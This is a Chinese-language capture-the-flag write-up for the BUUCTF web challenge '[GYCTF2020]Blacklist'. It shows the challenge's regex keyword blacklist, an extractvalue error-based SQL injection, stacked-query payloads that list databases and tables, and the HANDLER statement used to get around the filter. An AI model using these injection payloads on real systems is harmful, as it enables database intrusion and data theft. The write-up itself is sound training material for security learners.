👹
CTF Writeup
  • README
  • BUUCTF
    • [护网杯 2018]easy_tornado
    • [极客大挑战 2019]BuyFlag
    • [极客大挑战 2019]BabySQL
    • [ZJCTF 2019]NiZhuanSiWei
    • [BJDCTF2020]Easy MD5
    • [极客大挑战 2019]EasySQL
    • [HCTF 2018]admin
    • [极客大挑战 2019]Havefun
    • [极客大挑战 2019]Http
    • [极客大挑战 2019]HardSQL
    • [极客大挑战 2019]Knife
    • [SUCTF 2019]CheckIn
    • [极客大挑战 2019]LoveSQL
    • [极客大挑战 2019]PHP
    • [极客大挑战 2019]Secret File
    • [MRCTF2020]你传你🐎呢
    • [极客大挑战 2019]Upload
    • [网鼎杯 2020 青龙组]AreUSerialz
    • [极客大挑战 2020]Roamphp6-flagshop
    • [强网杯 2019]随便注
    • [ACTF2020 新生赛]BackupFile
    • [ACTF2020 新生赛]Exec
    • [MRCTF2020]Ez_bypass
    • [ACTF2020 新生赛]Include
    • [GXYCTF2019]Ping Ping Ping
    • [GXYCTF2019]BabySQli
    • [HCTF 2018]WarmUp
    • [RoarCTF 2019]Easy Calc
    • [GYCTF2020]Blacklist
    • [SUCTF 2019]EasySQL
    • [CISCN2019 华北赛区 Day2 Web1]Hack World
    • [网鼎杯 2018]Fakebook
  • RACTF
    • notrequired
    • madlib
    • git commit -m whatever
  • ByteCTF2021
    • double sqli
由 GitBook 提供支持
在本页
  • 一、题目信息
  • 二、注入测试
  • 三、解题思路
  • HANDLER语句解释

这有帮助吗?

  1. BUUCTF

[GYCTF2020]Blacklist

上一页[RoarCTF 2019]Easy Calc下一页[SUCTF 2019]EasySQL

最后更新于3年前

这有帮助吗?

一、题目信息

  1. 经测试发现可能是SQL注入

image-20211020183238631

二、注入测试

  1. 构造闭合

  1. 得到三条数据

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}
array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
  1. 测试返回黑名单列表

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
  1. 使用xpath 报错注入获取数据

/
?inject=1' and extractvalue(0x0a,concat(0x7e,(database()),0x7e)) and '1

user: root@localhost
version: 10.3.18-MariaDB
database: supersqli
  1. 测试发现可以进行堆叠注入

  2. 获取所有数据库名

/?inject=-1';show databases;
ctftraining
information_schema
mysql
performance_schema
test
supersqli
  1. 获取所有表名

/?inject=1';show+tables;

得到:

FlagHere
words
  1. 查询表结构

/?inject=-1';show create table FlagHere;
/?inject=-1';show create table words;

三、解题思路

使用HANDLER语句读取数据

Get Flag!

HANDLER语句解释

handler ... open      #打开一个表
handler ... read      #访问表内容,在调用close前是不会关闭的
handler ... close     #关闭会话
image-20211020183553929
image-20211020185015766
image-20211020191502448
image-20211020185706882
image-20211020194001518
image-20211020194345422
image-20211020194857417